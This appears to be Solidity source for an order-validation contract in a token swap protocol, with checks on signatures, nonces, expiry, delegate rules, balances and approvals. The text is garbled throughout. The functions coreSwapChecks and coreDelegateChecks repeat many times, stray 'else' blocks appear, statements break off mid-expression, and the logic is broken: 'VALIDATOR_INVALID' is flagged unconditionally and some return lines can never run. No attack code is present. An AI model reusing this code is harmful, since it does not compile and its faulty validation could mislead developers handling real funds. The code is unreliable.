errors[errorCount] = "VALIDATOR_INVALID";
errorCount++;
}
if (order.sender.kind == ERC20_INTERFACE_ID && order.sender.id != 0) {
errors[errorCount] = "SENDER_INVALID_ID";
errorCount++;
} else if (
(order.sender.kind == ERC721_INTERFACE_ID ||
order.sender.kind == CK_INTERFACE_ID) && order.sender.amount != 0
) {
errors[errorCount] = "SENDER_INVALID_AMOUNT";
errorCount++;
}
if (order.signer.kind == ERC20_INTERFACE_ID && order.signer.id != 0) {
errors[errorCount] = "SIGNER_INVALID_ID";
errorCount++;
} else if (
(order.signer.kind == ERC721_INTERFACE_ID ||
order.signer.kind == CK_INTERFACE_ID) && order.signer.amount != 0
) {
errors[errorCount] = "SIGNER_INVALID_AMOUNT";
errorCount++;
}
if (!isValid(order, domainSeparator)) {
errors[errorCount] = "SIGNATURE_INVALID";
errorCount++;
}
return (errorCount, errors);
}
function coreSwapChecks(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
bytes32 domainSeparator = Types.hashDomain(DOM_NAME, DOM_VERSION, swap);
bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT);
uint256 errorCount;
if (order.signer.wallet == order.sender.wallet) {
errors[errorCount] = "SELF_TRANSFER_INVALID";
errorCount++;
}
if (order.expiry < block.timestamp) {
errors[errorCount] = "ORDER_EXPIRED";
errorCount++;
}
if (swap != address(0x0)) {
ISwap swapContract = ISwap(swap);
if (
swapContract.signerNonceStatus(order.signer.wallet, order.nonce) != 0x00
) {
errors[errorCount] = "ORDER_TAKEN_OR_CANCELLED";
errorCount++;
}
if (order.nonce < swapContract.signerMinimumNonce(order.signer.wallet)) {
errors[errorCount] = "NONCE_TOO_LOW";
errorCount++;
}
if (order.signature.signatory != order.signer.wallet) {
if (
!swapContract.signerAuthorizations(
order.signer.wallet,
order.signature.signatory
)
) {
errors[errorCount] = "SIGNER_UNAUTHORIZED";
errorCount++;
}
}
errors[errorCount] = "VALIDATOR_INVALID";
errorCount++;
}
if (order.sender.kind == ERC20_INTERFACE_ID && order.sender.id != 0) {
errors[errorCount] = "SENDER_INVALID_ID";
errorCount++;
} else if (
(order.sender.kind == ERC721_INTERFACE_ID ||
order.sender.kind == CK_INTERFACE_ID) && order.sender.amount != 0
) {
errors[errorCount] = "SENDER_INVALID_AMOUNT";
errorCount++;
}
if (order.signer.kind == ERC20_INTERFACE_ID && order.signer.id != 0) {
errors[errorCount] = "SIGNER_INVALID_ID";
errorCount++;
} else if (
(order.signer.kind == ERC721_INTERFACE_ID ||
order.signer.kind == CK_INTERFACE_ID) && order.signer.amount != 0
) {
errors[errorCount] = "SIGNER_INVALID_AMOUNT";
errorCount++;
}
if (!isValid(order, domainSeparator)) {
errors[errorCount] = "SIGNATURE_INVALID";
errorCount++;
}
return (errorCount, errors);
}
function coreSwapChecks(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
bytes32 domainSeparator = Types.hashDomain(DOM_NAME, DOM_VERSION, swap);
bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT);
uint256 errorCount;
if (order.signer.wallet == order.sender.wallet) {
errors[errorCount] = "SELF_TRANSFER_INVALID";
errorCount++;
}
if (order.expiry < block.timestamp) {
errors[errorCount] = "ORDER_EXPIRED";
errorCount++;
}
if (swap != address(0x0)) {
ISwap swapContract = ISwap(swap);
if (
swapContract.signerNonceStatus(order.signer.wallet, order.nonce) != 0x00
) {
errors[errorCount] = "ORDER_TAKEN_OR_CANCELLED";
errorCount++;
}
if (order.nonce < swapContract.signerMinimumNonce(order.signer.wallet)) {
errors[errorCount] = "NONCE_TOO_LOW";
errorCount++;
}
if (order.signature.signatory != order.signer.wallet) {
if (
!swapContract.signerAuthorizations(
order.signer.wallet,
order.signature.signatory
)
) {
errors[errorCount] = "SIGNER_UNAUTHORIZED";
errorCount++;
}
}
errors[errorCount] = "VALIDATOR_INVALID";
errorCount++;
}
if (order.sender.kind == ERC20_INTERFACE_ID && order.sender.id != 0) {
errors[errorCount] = "SENDER_INVALID_ID";
errorCount++;
} else if (
(order.sender.kind == ERC721_INTERFACE_ID ||
order.sender.kind == CK_INTERFACE_ID) && order.sender.amount != 0
) {
errors[errorCount] = "SENDER_INVALID_AMOUNT";
errorCount++;
}
if (order.signer.kind == ERC20_INTERFACE_ID && order.signer.id != 0) {
errors[errorCount] = "SIGNER_INVALID_ID";
errorCount++;
} else if (
(order.signer.kind == ERC721_INTERFACE_ID ||
order.signer.kind == CK_INTERFACE_ID) && order.signer.amount != 0
) {
errors[errorCount] = "SIGNER_INVALID_AMOUNT";
errorCount++;
}
if (!isValid(order, domainSeparator)) {
errors[errorCount] = "SIGNATURE_INVALID";
errorCount++;
}
return (errorCount, errors);
}
} else {
function coreSwapChecks(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
bytes32 domainSeparator = Types.hashDomain(DOM_NAME, DOM_VERSION, swap);
bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT);
uint256 errorCount;
if (order.signer.wallet == order.sender.wallet) {
errors[errorCount] = "SELF_TRANSFER_INVALID";
errorCount++;
}
if (order.expiry < block.timestamp) {
errors[errorCount] = "ORDER_EXPIRED";
errorCount++;
}
if (swap != address(0x0)) {
ISwap swapContract = ISwap(swap);
if (
swapContract.signerNonceStatus(order.signer.wallet, order.nonce) != 0x00
) {
errors[errorCount] = "ORDER_TAKEN_OR_CANCELLED";
errorCount++;
}
if (order.nonce < swapContract.signerMinimumNonce(order.signer.wallet)) {
errors[errorCount] = "NONCE_TOO_LOW";
errorCount++;
}
if (order.signature.signatory != order.signer.wallet) {
if (
!swapContract.signerAuthorizations(
order.signer.wallet,
order.signature.signatory
)
) {
errors[errorCount] = "SIGNER_UNAUTHORIZED";
errorCount++;
}
}
errors[errorCount] = "VALIDATOR_INVALID";
errorCount++;
}
if (order.sender.kind == ERC20_INTERFACE_ID && order.sender.id != 0) {
errors[errorCount] = "SENDER_INVALID_ID";
errorCount++;
} else if (
(order.sender.kind == ERC721_INTERFACE_ID ||
order.sender.kind == CK_INTERFACE_ID) && order.sender.amount != 0
) {
errors[errorCount] = "SENDER_INVALID_AMOUNT";
errorCount++;
}
if (order.signer.kind == ERC20_INTERFACE_ID && order.signer.id != 0) {
errors[errorCount] = "SIGNER_INVALID_ID";
errorCount++;
} else if (
(order.signer.kind == ERC721_INTERFACE_ID ||
order.signer.kind == CK_INTERFACE_ID) && order.signer.amount != 0
) {
errors[errorCount] = "SIGNER_INVALID_AMOUNT";
errorCount++;
}
if (!isValid(order, domainSeparator)) {
errors[errorCount] = "SIGNATURE_INVALID";
errorCount++;
}
return (errorCount, errors);
}
function coreSwapChecks(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
bytes32 domainSeparator = Types.hashDomain(DOM_NAME, DOM_VERSION, swap);
bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT);
uint256 errorCount;
if (order.signer.wallet == order.sender.wallet) {
errors[errorCount] = "SELF_TRANSFER_INVALID";
errorCount++;
}
if (order.expiry < block.timestamp) {
errors[errorCount] = "ORDER_EXPIRED";
errorCount++;
}
if (swap != address(0x0)) {
ISwap swapContract = ISwap(swap);
if (
swapContract.signerNonceStatus(order.signer.wallet, order.nonce) != 0x00
) {
errors[errorCount] = "ORDER_TAKEN_OR_CANCELLED";
errorCount++;
}
if (order.nonce < swapContract.signerMinimumNonce(order.signer.wallet)) {
errors[errorCount] = "NONCE_TOO_LOW";
errorCount++;
}
if (order.signature.signatory != order.signer.wallet) {
if (
!swapContract.signerAuthorizations(
order.signer.wallet,
order.signature.signatory
)
) {
errors[errorCount] = "SIGNER_UNAUTHORIZED";
errorCount++;
}
}
errors[errorCount] = "VALIDATOR_INVALID";
errorCount++;
}
if (order.sender.kind == ERC20_INTERFACE_ID && order.sender.id != 0) {
errors[errorCount] = "SENDER_INVALID_ID";
errorCount++;
} else if (
(order.sender.kind == ERC721_INTERFACE_ID ||
order.sender.kind == CK_INTERFACE_ID) && order.sender.amount != 0
) {
errors[errorCount] = "SENDER_INVALID_AMOUNT";
errorCount++;
}
if (order.signer.kind == ERC20_INTERFACE_ID && order.signer.id != 0) {
errors[errorCount] = "SIGNER_INVALID_ID";
errorCount++;
} else if (
(order.signer.kind == ERC721_INTERFACE_ID ||
order.signer.kind == CK_INTERFACE_ID) && order.signer.amount != 0
) {
errors[errorCount] = "SIGNER_INVALID_AMOUNT";
errorCount++;
}
if (!isValid(order, domainSeparator)) {
errors[errorCount] = "SIGNATURE_INVALID";
errorCount++;
}
return (errorCount, errors);
}
function coreSwapChecks(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
bytes32 domainSeparator = Types.hashDomain(DOM_NAME, DOM_VERSION, swap);
bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT);
uint256 errorCount;
if (order.signer.wallet == order.sender.wallet) {
errors[errorCount] = "SELF_TRANSFER_INVALID";
errorCount++;
}
if (order.expiry < block.timestamp) {
errors[errorCount] = "ORDER_EXPIRED";
errorCount++;
}
if (swap != address(0x0)) {
ISwap swapContract = ISwap(swap);
if (
swapContract.signerNonceStatus(order.signer.wallet, order.nonce) != 0x00
) {
errors[errorCount] = "ORDER_TAKEN_OR_CANCELLED";
errorCount++;
}
if (order.nonce < swapContract.signerMinimumNonce(order.signer.wallet)) {
errors[errorCount] = "NONCE_TOO_LOW";
errorCount++;
}
if (order.signature.signatory != order.signer.wallet) {
if (
!swapContract.signerAuthorizations(
order.signer.wallet,
order.signature.signatory
)
) {
errors[errorCount] = "SIGNER_UNAUTHORIZED";
errorCount++;
}
}
errors[errorCount] = "VALIDATOR_INVALID";
errorCount++;
}
if (order.sender.kind == ERC20_INTERFACE_ID && order.sender.id != 0) {
errors[errorCount] = "SENDER_INVALID_ID";
errorCount++;
} else if (
(order.sender.kind == ERC721_INTERFACE_ID ||
order.sender.kind == CK_INTERFACE_ID) && order.sender.amount != 0
) {
errors[errorCount] = "SENDER_INVALID_AMOUNT";
errorCount++;
}
if (order.signer.kind == ERC20_INTERFACE_ID && order.signer.id != 0) {
errors[errorCount] = "SIGNER_INVALID_ID";
errorCount++;
} else if (
(order.signer.kind == ERC721_INTERFACE_ID ||
order.signer.kind == CK_INTERFACE_ID) && order.signer.amount != 0
) {
errors[errorCount] = "SIGNER_INVALID_AMOUNT";
errorCount++;
}
if (!isValid(order, domainSeparator)) {
errors[errorCount] = "SIGNATURE_INVALID";
errorCount++;
}
return (errorCount, errors);
}
function coreSwapChecks(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
bytes32 domainSeparator = Types.hashDomain(DOM_NAME, DOM_VERSION, swap);
bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT);
uint256 errorCount;
if (order.signer.wallet == order.sender.wallet) {
errors[errorCount] = "SELF_TRANSFER_INVALID";
errorCount++;
}
if (order.expiry < block.timestamp) {
errors[errorCount] = "ORDER_EXPIRED";
errorCount++;
}
if (swap != address(0x0)) {
ISwap swapContract = ISwap(swap);
if (
swapContract.signerNonceStatus(order.signer.wallet, order.nonce) != 0x00
) {
errors[errorCount] = "ORDER_TAKEN_OR_CANCELLED";
errorCount++;
}
if (order.nonce < swapContract.signerMinimumNonce(order.signer.wallet)) {
errors[errorCount] = "NONCE_TOO_LOW";
errorCount++;
}
if (order.signature.signatory != order.signer.wallet) {
if (
!swapContract.signerAuthorizations(
order.signer.wallet,
order.signature.signatory
)
) {
errors[errorCount] = "SIGNER_UNAUTHORIZED";
errorCount++;
}
}
errors[errorCount] = "VALIDATOR_INVALID";
errorCount++;
}
if (order.sender.kind == ERC20_INTERFACE_ID && order.sender.id != 0) {
errors[errorCount] = "SENDER_INVALID_ID";
errorCount++;
} else if (
(order.sender.kind == ERC721_INTERFACE_ID ||
order.sender.kind == CK_INTERFACE_ID) && order.sender.amount != 0
) {
errors[errorCount] = "SENDER_INVALID_AMOUNT";
errorCount++;
}
if (order.signer.kind == ERC20_INTERFACE_ID && order.signer.id != 0) {
errors[errorCount] = "SIGNER_INVALID_ID";
errorCount++;
} else if (
(order.signer.kind == ERC721_INTERFACE_ID ||
order.signer.kind == CK_INTERFACE_ID) && order.signer.amount != 0
) {
errors[errorCount] = "SIGNER_INVALID_AMOUNT";
errorCount++;
}
if (!isValid(order, domainSeparator)) {
errors[errorCount] = "SIGNATURE_INVALID";
errorCount++;
}
return (errorCount, errors);
}
function coreSwapChecks(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
bytes32 domainSeparator = Types.hashDomain(DOM_NAME, DOM_VERSION, swap);
bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT);
uint256 errorCount;
if (order.signer.wallet == order.sender.wallet) {
errors[errorCount] = "SELF_TRANSFER_INVALID";
errorCount++;
}
if (order.expiry < block.timestamp) {
errors[errorCount] = "ORDER_EXPIRED";
errorCount++;
}
if (swap != address(0x0)) {
ISwap swapContract = ISwap(swap);
if (
swapContract.signerNonceStatus(order.signer.wallet, order.nonce) != 0x00
) {
errors[errorCount] = "ORDER_TAKEN_OR_CANCELLED";
errorCount++;
}
if (order.nonce < swapContract.signerMinimumNonce(order.signer.wallet)) {
errors[errorCount] = "NONCE_TOO_LOW";
errorCount++;
}
if (order.signature.signatory != order.signer.wallet) {
if (
!swapContract.signerAuthorizations(
order.signer.wallet,
order.signature.signatory
)
) {
errors[errorCount] = "SIGNER_UNAUTHORIZED";
errorCount++;
}
}
errors[errorCount] = "VALIDATOR_INVALID";
errorCount++;
}
if (order.sender.kind == ERC20_INTERFACE_ID && order.sender.id != 0) {
errors[errorCount] = "SENDER_INVALID_ID";
errorCount++;
} else if (
(order.sender.kind == ERC721_INTERFACE_ID ||
order.sender.kind == CK_INTERFACE_ID) && order.sender.amount != 0
) {
errors[errorCount] = "SENDER_INVALID_AMOUNT";
errorCount++;
}
if (order.signer.kind == ERC20_INTERFACE_ID && order.signer.id != 0) {
errors[errorCount] = "SIGNER_INVALID_ID";
errorCount++;
} else if (
(order.signer.kind == ERC721_INTERFACE_ID ||
order.signer.kind == CK_INTERFACE_ID) && order.signer.amount != 0
) {
errors[errorCount] = "SIGNER_INVALID_AMOUNT";
errorCount++;
}
if (!isValid(order, domainSeparator)) {
errors[errorCount] = "SIGNATURE_INVALID";
errorCount++;
}
return (errorCount, errors);
}
function coreDelegateChecks(Types.Order memory order, IDelegate delegate)
public
view
returns (uint256, bytes32[] memory)
{
IDelegate.Rule memory rule = delegate.rules(
order.sender.token,
order.signer.token
);
bytes32[] memory errors = new bytes32[](MAX_DELEGATE_ERROR_COUNT);
uint256 errorCount;
address swap = order.signature.validator;
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.wallet != delegate.tradeWallet()) {
errors[errorCount] = "SENDER_WALLET_INVALID";
errorCount++;
}
if (order.signer.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SIGNER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (order.sender.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SENDER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (rule.maxSenderAmount == 0) {
errors[errorCount] = "TOKEN_PAIR_INACTIVE";
errorCount++;
}
if (order.sender.amount > rule.maxSenderAmount) {
errors[errorCount] = "ORDER_AMOUNT_EXCEEDS_MAX";
errorCount++;
}
order.signer.amount,
order.signer.token,
order.sender.token
);
if (senderAmount == 0) {
errors[errorCount] = "DELEGATE_UNABLE_TO_PRICE";
errorCount++;
errors[errorCount] = "PRICE_INVALID";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, address(delegate))
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
return (errorCount, errors);
}
function coreDelegateChecks(Types.Order memory order, IDelegate delegate)
public
view
returns (uint256, bytes32[] memory)
{
IDelegate.Rule memory rule = delegate.rules(
order.sender.token,
order.signer.token
);
bytes32[] memory errors = new bytes32[](MAX_DELEGATE_ERROR_COUNT);
uint256 errorCount;
address swap = order.signature.validator;
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.wallet != delegate.tradeWallet()) {
errors[errorCount] = "SENDER_WALLET_INVALID";
errorCount++;
}
if (order.signer.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SIGNER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (order.sender.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SENDER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (rule.maxSenderAmount == 0) {
errors[errorCount] = "TOKEN_PAIR_INACTIVE";
errorCount++;
}
if (order.sender.amount > rule.maxSenderAmount) {
errors[errorCount] = "ORDER_AMOUNT_EXCEEDS_MAX";
errorCount++;
}
order.signer.amount,
order.signer.token,
order.sender.token
);
if (senderAmount == 0) {
errors[errorCount] = "DELEGATE_UNABLE_TO_PRICE";
errorCount++;
errors[errorCount] = "PRICE_INVALID";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, address(delegate))
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
return (errorCount, errors);
}
function coreDelegateChecks(Types.Order memory order, IDelegate delegate)
public
view
returns (uint256, bytes32[] memory)
{
IDelegate.Rule memory rule = delegate.rules(
order.sender.token,
order.signer.token
);
bytes32[] memory errors = new bytes32[](MAX_DELEGATE_ERROR_COUNT);
uint256 errorCount;
address swap = order.signature.validator;
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.wallet != delegate.tradeWallet()) {
errors[errorCount] = "SENDER_WALLET_INVALID";
errorCount++;
}
if (order.signer.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SIGNER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (order.sender.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SENDER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (rule.maxSenderAmount == 0) {
errors[errorCount] = "TOKEN_PAIR_INACTIVE";
errorCount++;
}
if (order.sender.amount > rule.maxSenderAmount) {
errors[errorCount] = "ORDER_AMOUNT_EXCEEDS_MAX";
errorCount++;
}
order.signer.amount,
order.signer.token,
order.sender.token
);
if (senderAmount == 0) {
errors[errorCount] = "DELEGATE_UNABLE_TO_PRICE";
errorCount++;
errors[errorCount] = "PRICE_INVALID";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, address(delegate))
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
return (errorCount, errors);
}
function coreDelegateChecks(Types.Order memory order, IDelegate delegate)
public
view
returns (uint256, bytes32[] memory)
{
IDelegate.Rule memory rule = delegate.rules(
order.sender.token,
order.signer.token
);
bytes32[] memory errors = new bytes32[](MAX_DELEGATE_ERROR_COUNT);
uint256 errorCount;
address swap = order.signature.validator;
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.wallet != delegate.tradeWallet()) {
errors[errorCount] = "SENDER_WALLET_INVALID";
errorCount++;
}
if (order.signer.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SIGNER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (order.sender.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SENDER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (rule.maxSenderAmount == 0) {
errors[errorCount] = "TOKEN_PAIR_INACTIVE";
errorCount++;
}
if (order.sender.amount > rule.maxSenderAmount) {
errors[errorCount] = "ORDER_AMOUNT_EXCEEDS_MAX";
errorCount++;
}
order.signer.amount,
order.signer.token,
order.sender.token
);
if (senderAmount == 0) {
errors[errorCount] = "DELEGATE_UNABLE_TO_PRICE";
errorCount++;
errors[errorCount] = "PRICE_INVALID";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, address(delegate))
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
return (errorCount, errors);
}
function coreDelegateChecks(Types.Order memory order, IDelegate delegate)
public
view
returns (uint256, bytes32[] memory)
{
IDelegate.Rule memory rule = delegate.rules(
order.sender.token,
order.signer.token
);
bytes32[] memory errors = new bytes32[](MAX_DELEGATE_ERROR_COUNT);
uint256 errorCount;
address swap = order.signature.validator;
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.wallet != delegate.tradeWallet()) {
errors[errorCount] = "SENDER_WALLET_INVALID";
errorCount++;
}
if (order.signer.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SIGNER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (order.sender.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SENDER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (rule.maxSenderAmount == 0) {
errors[errorCount] = "TOKEN_PAIR_INACTIVE";
errorCount++;
}
if (order.sender.amount > rule.maxSenderAmount) {
errors[errorCount] = "ORDER_AMOUNT_EXCEEDS_MAX";
errorCount++;
}
order.signer.amount,
order.signer.token,
order.sender.token
);
if (senderAmount == 0) {
errors[errorCount] = "DELEGATE_UNABLE_TO_PRICE";
errorCount++;
errors[errorCount] = "PRICE_INVALID";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, address(delegate))
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
return (errorCount, errors);
}
function coreDelegateChecks(Types.Order memory order, IDelegate delegate)
public
view
returns (uint256, bytes32[] memory)
{
IDelegate.Rule memory rule = delegate.rules(
order.sender.token,
order.signer.token
);
bytes32[] memory errors = new bytes32[](MAX_DELEGATE_ERROR_COUNT);
uint256 errorCount;
address swap = order.signature.validator;
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.wallet != delegate.tradeWallet()) {
errors[errorCount] = "SENDER_WALLET_INVALID";
errorCount++;
}
if (order.signer.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SIGNER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (order.sender.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SENDER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (rule.maxSenderAmount == 0) {
errors[errorCount] = "TOKEN_PAIR_INACTIVE";
errorCount++;
}
if (order.sender.amount > rule.maxSenderAmount) {
errors[errorCount] = "ORDER_AMOUNT_EXCEEDS_MAX";
errorCount++;
}
order.signer.amount,
order.signer.token,
order.sender.token
);
if (senderAmount == 0) {
errors[errorCount] = "DELEGATE_UNABLE_TO_PRICE";
errorCount++;
errors[errorCount] = "PRICE_INVALID";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, address(delegate))
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
return (errorCount, errors);
}
function coreDelegateChecks(Types.Order memory order, IDelegate delegate)
public
view
returns (uint256, bytes32[] memory)
{
IDelegate.Rule memory rule = delegate.rules(
order.sender.token,
order.signer.token
);
bytes32[] memory errors = new bytes32[](MAX_DELEGATE_ERROR_COUNT);
uint256 errorCount;
address swap = order.signature.validator;
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.wallet != delegate.tradeWallet()) {
errors[errorCount] = "SENDER_WALLET_INVALID";
errorCount++;
}
if (order.signer.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SIGNER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (order.sender.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SENDER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (rule.maxSenderAmount == 0) {
errors[errorCount] = "TOKEN_PAIR_INACTIVE";
errorCount++;
}
if (order.sender.amount > rule.maxSenderAmount) {
errors[errorCount] = "ORDER_AMOUNT_EXCEEDS_MAX";
errorCount++;
}
order.signer.amount,
order.signer.token,
order.sender.token
);
if (senderAmount == 0) {
errors[errorCount] = "DELEGATE_UNABLE_TO_PRICE";
errorCount++;
errors[errorCount] = "PRICE_INVALID";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, address(delegate))
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
return (errorCount, errors);
}
uint256 senderAmount = delegate.getSenderSideQuote(
function coreDelegateChecks(Types.Order memory order, IDelegate delegate)
public
view
returns (uint256, bytes32[] memory)
{
IDelegate.Rule memory rule = delegate.rules(
order.sender.token,
order.signer.token
);
bytes32[] memory errors = new bytes32[](MAX_DELEGATE_ERROR_COUNT);
uint256 errorCount;
address swap = order.signature.validator;
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.wallet != delegate.tradeWallet()) {
errors[errorCount] = "SENDER_WALLET_INVALID";
errorCount++;
}
if (order.signer.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SIGNER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (order.sender.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SENDER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (rule.maxSenderAmount == 0) {
errors[errorCount] = "TOKEN_PAIR_INACTIVE";
errorCount++;
}
if (order.sender.amount > rule.maxSenderAmount) {
errors[errorCount] = "ORDER_AMOUNT_EXCEEDS_MAX";
errorCount++;
}
order.signer.amount,
order.signer.token,
order.sender.token
);
if (senderAmount == 0) {
errors[errorCount] = "DELEGATE_UNABLE_TO_PRICE";
errorCount++;
errors[errorCount] = "PRICE_INVALID";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, address(delegate))
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
return (errorCount, errors);
}
} else if (order.sender.amount > senderAmount) {
if (
function coreDelegateChecks(Types.Order memory order, IDelegate delegate)
public
view
returns (uint256, bytes32[] memory)
{
IDelegate.Rule memory rule = delegate.rules(
order.sender.token,
order.signer.token
);
bytes32[] memory errors = new bytes32[](MAX_DELEGATE_ERROR_COUNT);
uint256 errorCount;
address swap = order.signature.validator;
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.wallet != delegate.tradeWallet()) {
errors[errorCount] = "SENDER_WALLET_INVALID";
errorCount++;
}
if (order.signer.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SIGNER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (order.sender.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SENDER_KIND_MUST_BE_ERC20";
errorCount++;
}
if (rule.maxSenderAmount == 0) {
errors[errorCount] = "TOKEN_PAIR_INACTIVE";
errorCount++;
}
if (order.sender.amount > rule.maxSenderAmount) {
errors[errorCount] = "ORDER_AMOUNT_EXCEEDS_MAX";
errorCount++;
}
order.signer.amount,
order.signer.token,
order.sender.token
);
if (senderAmount == 0) {
errors[errorCount] = "DELEGATE_UNABLE_TO_PRICE";
errorCount++;
errors[errorCount] = "PRICE_INVALID";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, address(delegate))
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
return (errorCount, errors);
}
function hasValidKind(bytes4 kind, address swap)
internal
view
returns (bool)
{
if (swap != address(0x0)) {
TransferHandlerRegistry tokenRegistry = ISwap(swap).registry();
return (address(tokenRegistry.transferHandlers(kind)) != address(0));
return false;
}
}
function hasValidKind(bytes4 kind, address swap)
internal
view
returns (bool)
{
if (swap != address(0x0)) {
TransferHandlerRegistry tokenRegistry = ISwap(swap).registry();
return (address(tokenRegistry.transferHandlers(kind)) != address(0));
return false;
}
}
} else {
function hasValidInterface(address tokenAddress, bytes4 interfaceID)
internal
view
returns (bool)
{
if (interfaceID != ERC20_INTERFACE_ID) {
return (tokenAddress._supportsInterface(interfaceID));
}
return true;
}
function hasValidInterface(address tokenAddress, bytes4 interfaceID)
internal
view
returns (bool)
{
if (interfaceID != ERC20_INTERFACE_ID) {
return (tokenAddress._supportsInterface(interfaceID));
}
return true;
}
function hasBalance(Types.Party memory party) internal view returns (bool) {
if (party.kind == ERC721_INTERFACE_ID || party.kind == CK_INTERFACE_ID) {
address owner = IERC721(party.token).ownerOf(party.id);
return (owner == party.wallet);
uint256 balance = IERC1155(party.token).balanceOf(party.wallet, party.id);
return (balance >= party.amount);
uint256 balance = IERC20(party.token).balanceOf(party.wallet);
return (balance >= party.amount);
}
}
function hasBalance(Types.Party memory party) internal view returns (bool) {
if (party.kind == ERC721_INTERFACE_ID || party.kind == CK_INTERFACE_ID) {
address owner = IERC721(party.token).ownerOf(party.id);
return (owner == party.wallet);
uint256 balance = IERC1155(party.token).balanceOf(party.wallet, party.id);
return (balance >= party.amount);
uint256 balance = IERC20(party.token).balanceOf(party.wallet);
return (balance >= party.amount);
}
}
} else if (party.kind == ERC1155_INTERFACE_ID) {
} else {
function isApproved(Types.Party memory party, address swap)
internal
view
returns (bool)
{
if (party.kind == ERC721_INTERFACE_ID) {
address approved = IERC721(party.token).getApproved(party.id);
return (swap == approved);
address approved = IAdaptedKittyERC721(party.token).kittyIndexToApproved(
party.id
);
return (swap == approved);
return IERC1155(party.token).isApprovedForAll(party.wallet, swap);
